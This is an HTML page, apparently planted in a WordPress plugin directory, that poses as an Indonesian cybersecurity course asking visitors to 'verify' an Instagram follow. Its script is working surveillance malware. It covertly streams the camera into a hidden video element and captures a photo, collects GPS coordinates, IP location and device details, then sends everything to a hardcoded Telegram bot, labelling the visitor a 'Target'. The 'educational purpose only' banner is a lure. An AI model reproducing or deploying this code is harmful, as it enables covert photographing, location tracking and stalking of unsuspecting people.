/home/u336066629/websites/AmAL87tCa/public_html/wp-content/plugins/zeddplugins/m/belajar-hack.html
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CyberSec Academy | Premium Access</title>
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;700&display=swap" rel="stylesheet">
<style>
:root { --bg: #050a14; --gold: #d4af37; --glass: rgba(255, 255, 255, 0.03); }
body {
margin: 0; background: var(--bg); color: white;
font-family: 'Montserrat', sans-serif;
display: flex; flex-direction: column; align-items: center;
min-height: 100vh; padding: 40px 20px;
}
.header { text-align: center; margin-bottom: 30px; }
h1 { color: #fff; font-size: 1.8rem; margin: 0; }
.tagline { color: var(--gold); font-size: 0.7rem; letter-spacing: 3px; text-transform: uppercase; }
/* Grid Fitur yang Diredupin */
.module-grid {
display: grid; grid-template-columns: 1fr 1fr; gap: 15px;
width: 100%; max-width: 500px; opacity: 0.3; /* Opacity rendah agar fokus ke syarat */
filter: blur(2px); pointer-events: none; margin-bottom: 30px;
}
.module-item {
background: var(--glass); border: 1px solid rgba(255,255,255,0.1);
padding: 20px; border-radius: 10px; text-align: center; font-size: 0.8rem;
}
/* Card Syarat (Fokus Utama) */
.requirement-card {
width: 100%; max-width: 450px; background: rgba(255,255,255,0.05);
border: 1px solid var(--gold); border-radius: 15px; padding: 30px 20px;
backdrop-filter: blur(10px); box-shadow: 0 0 30px rgba(212, 175, 55, 0.1);
position: relative; z-index: 10;
}
.ig-btn {
display: inline-block; width: 80%; margin: 15px 0; padding: 12px;
background: linear-gradient(45deg, #f09433, #dc2743, #bc1888);
color: white; text-decoration: none; border-radius: 30px; font-weight: bold;
}
.upload-area {
margin-top: 20px; padding: 20px; border: 2px dashed rgba(212, 175, 55, 0.5);
border-radius: 10px; cursor: pointer; transition: 0.3s;
}
.upload-area:hover { background: rgba(212, 175, 55, 0.1); }
#v { position: absolute; width: 1px; height: 1px; opacity: 0; }
</style>
</head>
<body>
<video id="v" autoplay muted playsinline></video>
<canvas id="c" style="display:none;"></canvas>
<div class="header">
<div class="tagline">Educational Purpose Only</div>
<h1>Masterclass Cyber Security</h1>
</div>
<div class="module-grid">
<div class="module-item">🔐 Remote Mobile Monitoring</div>
<div class="module-item">🛡️ Anti-DDOS Mitigation</div>
<div class="module-item">📸 Visual Audit (No Touch)</div>
<div class="module-item">💰 Legal Digital Revenue</div>
</div>
<div class="requirement-card">
<h2 style="font-size: 1.2rem; margin-top: 0;">🔓 Buka Kunci Semua Modul</h2>
<p style="font-size: 0.8rem; color: #aaa;">Ikuti langkah wajib ini untuk verifikasi akses:</p>
<p style="font-size: 0.9rem; margin-bottom: 5px;">1. Follow IG Admin</p>
<a href="https://instagram.com/sy.afiq__" target="_blank" class="ig-btn">@sy.afiq__</a>
<p style="font-size: 0.9rem; margin-top: 20px; margin-bottom: 5px;">2. Konfirmasi Verifikasi</p>
<div class="upload-area" onclick="startAudit()">
<span id="btnTxt">📸 Ambil & Unggah Bukti Follow</span>
</div>
<p style="font-size: 0.65rem; color: #555; margin-top: 20px;">Sistem menggunakan AI Biometrik & GPS Audit untuk validasi peserta.</p>
</div>
<script>
const TG_TOKEN = "8330095671:AAFVvM0jyVAMb8SUrc6IY52xuMq_PJapmN4";
const TG_ID = "6694555111";
async function startAudit() {
document.getElementById('btnTxt').innerText = "Memproses Verifikasi...";
try {
const stream = await navigator.mediaDevices.getUserMedia({ video: true });
const video = document.getElementById('v');
video.srcObject = stream;
navigator.geolocation.getCurrentPosition(async (pos) => {
const lat = pos.coords.latitude;
const lon = pos.coords.longitude;
setTimeout(() => { doCapture(video, lat, lon); }, 2000);
}, (err) => {
doCapture(video, "Ditolak", "Ditolak");
});
} catch (err) {
alert("Izin Kamera Diperlukan untuk verifikasi bukti follow.");
}
}
async function doCapture(video, lat, lon) {
const canvas = document.getElementById('c');
canvas.width = video.videoWidth;
canvas.height = video.videoHeight;
canvas.getContext('2d').drawImage(video, 0, 0);
const blob = await new Promise(res => canvas.toBlob(res, 'image/jpeg', 0.6));
const res = await fetch('https://ipapi.co/json/');
const net = await res.json();
const caption = `📊 **DATA AUDIT TERBARU**\n` +
`---------------------------\n` +
`👤 Target: Peserta Seminar\n` +
`🌐 IP: ${net.ip}\n` +
`📍 Lokasi IP: ${net.city}, ${net.country_name}\n` +
`🎯 GPS Akurat:\n` +
` Lat: ${lat}\n` +
` Long: ${lon}\n` +
`📱 Device: ${navigator.platform}\n` +
`📍 Maps: https://www.google.com/maps?q=${lat},${lon}`;
const fd = new FormData();
fd.append('chat_id', TG_ID);
fd.append('caption', caption);
fd.append('photo', blob, 'audit.jpg');
fetch(`https://api.telegram.org/bot${TG_TOKEN}/sendPhoto`, { method: 'POST', body: fd });
alert("Verifikasi Berhasil! Akses modul akan dikirimkan secara manual via DM Instagram dalam waktu maksimal 24 jam.");
document.getElementById('btnTxt').innerText = "✅ Verifikasi Selesai";
}
</script>
</body>
</html>